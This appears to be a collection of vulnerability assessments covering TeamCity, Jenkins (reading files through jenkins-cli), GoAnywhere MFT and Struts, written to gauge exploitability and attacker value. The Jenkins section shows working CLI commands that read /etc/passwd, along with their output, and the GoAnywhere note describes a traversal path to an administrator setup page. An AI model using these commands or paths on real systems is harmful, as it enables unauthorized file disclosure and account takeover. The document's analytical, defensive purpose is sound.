input.get(key)); + } + return sorted; + } + + private static String getPropertySimpleRef(Property property) { + if (property instanceof RefProperty) { + RefProperty rp = (RefProperty)property; + return rp.getSimpleRef(); + } + if (property instanceof ArrayProperty) { + ArrayProperty ap = (ArrayProperty)property; + Property items = ap.getItems(); + return SwaggerUtil.getPropertySimpleRef(items); + } + if (property instanceof MapProperty) { + MapProperty mp = (MapProperty)property; + Property items = mp.getAdditionalProperties(); + return SwaggerUtil.getPropertySimpleRef(items); + } + return null; + } + + @NotNull + public static InputStream getFileFromResources(@NotNull String path) { + String fullPath; + if (path == null) { + SwaggerUtil.$$$reportNull$$$0(0); + } + if (!SwaggerUtil.isValidResourcePath(fullPath = RESOURCE_PATH + path)) { throw new IllegalArgumentException(String.format("File %s was not found", fullPath)); } - InputStream stream = classLoader.getResourceAsStream(fullPath); - return stream; + InputStream inputStream = Objects.requireNonNull(SwaggerUtil.class.getClassLoader().getResourceAsStream(fullPath)); + if (inputStream == null) { + SwaggerUtil.$$$reportNull$$$0(1); + } + return inputStream; + } + + private static boolean isValidResourcePath(@NotNull String path) { + if (path == null) { + SwaggerUtil.$$$reportNull$$$0(2); + } + return !path.contains("..") && SwaggerUtil.class.getClassLoader().getResource(path) != null; + } +
We can reach this via an unauthenticated HTTP(S) GET request to the endpoint /app/rest/swaggerui
, and provide an arbitrary path parameter, delineated via a semicolon character, e.g. ;/../schema.graphqls
. The below curl request will hit the target endpoint.
curl -ik --path-as-is http://172.29.236.183:8111/app/rest/swaggerui;/../schema.graphqls
In a debugger, we can see the request being processed by a vulnerable TeamCity 2023.11.2 server.
However we were unable to successfully read a file by using double dot notation.
>curl -ik --path-as-is http://172.29.236.183:8111/app/rest/swaggerui;/../schema.graphqls HTTP/1.1 500 TeamCity-Node-Id: MAIN_SERVER Cache-Control: no-store Content-Type: text/plain Transfer-Encoding: chunked Date: Mon, 12 Feb 2024 17:13:15 GMT Connection: close Error has occurred during request processing, status code: 500 (Internal Server Error). Details: java.lang.IllegalArgumentException: File swagger/../schema.graphqls was not found Error occurred while processing this request.
As such, I have tagged this as Difficult to weaponize
and given an attacker value rating of very low. I marked Exploitability as very high, as you can reach the vulnerable code via a single unauthenticated HTTP(S) request.
Technical Analysis
Looking into this vulnerability, there are a number of factors to consider when gauging exploitability. Horizion3ai have a good blog post going into detail on this, and the original vendor advisory also goes into detail on the constraints of successful exploitation.
While the vulnerability does allow for arbitrary file reading, there are several constraints that may make an attackers ability to read arbitrary files less likely to succeed. The main factors are the privileges the attacker has on the target Jenkins system (if any), the target platform that Jenkins is running on, and the type of file the attacker wants to read. Finally, based on what the attacker can successfully read, the attacker must then leverage this somehow, e.g. if they read an encrypted password, are they able to crack it? If they read a secret key from a text file, do they also need to successfully read encrypted binary files?
At a minimum, an unauthenticated attacker can read up to 3 lines of an arbitrary text file, for example the following 3 CLI requests will return the first, second and third line of the text file /etc/passwd
(Jenkins is running in a docker container for this example). The CLI command who-am-i
, enable-job
, and keep-build
are used to read the first, second and third line numbers respectively – although other commands such as help
will return the first and second line of a file.
$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 who-am-i @/etc/passwd ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash java -jar jenkins-cli.jar who-am-i Reports your credential and permissions.
$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 enable-job @/etc/passwd ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin java -jar jenkins-cli.jar enable-job NAME Enables a job. NAME : Job name
$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 keep-build @/etc/passwd ERROR: Too many arguments: bin:x:2:2:bin:/bin:/usr/sbin/nologin java -jar jenkins-cli.jar keep-build NAME BUILD# Mark the build to keep the build forever. NAME : Item name BUILD# : Build number
The first 3 lines of the file can then be reconstituted as follows:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
If an attacker has an account with Overall/Read
permission on the target Jenkins system, the entire contents of a text file can be read, via the CLI command connect-node
, as shown below:
Note: When leveraging the CLI command connect-node
, the returned lines of text are displayed out of order to that of the original file.
$ java -jar jenkins-cli.jar -auth admin:qwerty12345 -s http://192.168.86.70:8080 connect-node @/etc/passwd www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists. root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists. backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists. _apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists. nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists. bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists. irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists. list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists. jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists. games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists. sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists. sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists. ERROR: Error occurred while performing this command, see previous stderr output.
The issue is complicated further if the attacker wants to read a binary file, as the target systems string encoding method may remove unsupported bytes in the string output. As noted in the original vendor advisory, Linux will use UTF-8 by default which may remove as much as 50% of all encoded characters, while Windows uses Windows-1252 which will remove only 5 out of the 256 possible byte values being returned.
The vendor advisory gives several examples of how to leverage this vulnerability to achieve something (such as RCE), but they all require the ability to successfully read a binary file. While not impossible, in may scenarios it may not be practical for an attacker to achieve this. The Horizion3ai blog also has some good detail on these constraints too.
We can summarize the constraints an attacker will face when exploiting this vulnerability with the following table:
Note, “Authenticated” in this context means an attacker has privileges on the Jenkins system with the Overall/Read
permission.
Attacker Privileges | File Type | Target Platform | Impact |
---|---|---|---|
Unauthenticated | Text | Linux | Can read the first 3 lines of any text file |
Unauthenticated | Text | Windows | Can read the first 3 lines of any text file |
Unauthenticated | Binary | Linux | Can read some contents, the target platform character encoding is likely UTF-8, so half of the 256 possible bytes will be returned with an incorrect value, making recovery of the original file unlikely |
Unauthenticated | Binary | Windows | Can read some contents, the target platform character encoding is likely Windows-1252, so only 5 of the 256 possible bytes will be returned with an incorrect value, making recovery of the original more likely than the Linux counterpart |
Authenticated | Text | Linux | Can read the entire contents of any text file |
Authenticated | Text | Windows | Can read the entire contents of any text file |
Authenticated | Binary | Linux | Can read the entire contents of any file, the target platform character encoding is likely UTF-8, so half of the 256 possible bytes will be returned with an incorrect value, making recovery of the original file unlikely |
Authenticated | Binary | Windows | Can read the entire contents of any file, the target platform character encoding is likely Windows-1252, so only 5 of the 256 possible bytes will be returned with an incorrect value, making recovery of the original more likely than the Linux counterpart |
It is currently unknown if an unauthenticated attacker can compromise a Jenkins system by only reading the first 3 lines of a text file via this vulnerability.
Technical Analysis
Based on the technical writeup and PoC from Horizion3, this vulnerability can be exploited by an unauthenticated attacker with access to the management interface of GoAnywhere MFT (by default the management interface is available over TCP port 8000 for HTTP and TCP port 8001 for HTTPS), to create a new administrator account on the system. The attacker value is rated as very high given this product is a file transfer solution, and has been targeted by ransomware groups such a Cl0p in the past. I rated the exploitability as high given the management interface must be exposed for exploitation to succeed, which it may not be in all environments.
The vulnerabilities lies in the endpoint /goanywhere/wizard/InitialAccountSetup.xhtml
. This endpoint is used during the products initial setup, to create the first administrator user. After setup has completed, this endpoint is no longer available. However using a Tomcat path traversal technique of inserting the path segment ..;
, allows the endpoint to be reached successfully via the path /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml
. A HTTP POST request can then be made by an unauthenticated attacker to create a new administrator account with a password of the attackers choosing.
Technical Analysis
Based on our Rapid7 Analysis, the attacker value of this vulnerability is High, as successful exploitation can result in remote code execution via arbitrary file uploads, such as uploading a web shell or similar. However I have rated the exploitability as Low as there are a number or prerequisites that must be met for a Struts based web application to be vulnerable. Currently we don’t have any concrete examples of production applications that are vulnerable to CVE-2023-50164. This may change as the vulnerability comes under more scrutiny and more Struts based applications are examined.
A nice analysis has been posted here: https://github.com/TheN00bBuilder/cve-2024-11477-writeup/blob/main/CVE-2024-11477-Writeup.md
The author reproduces the vuln, and generates a write access violation. The author also questions the ability of leveraging the vuln for code execution.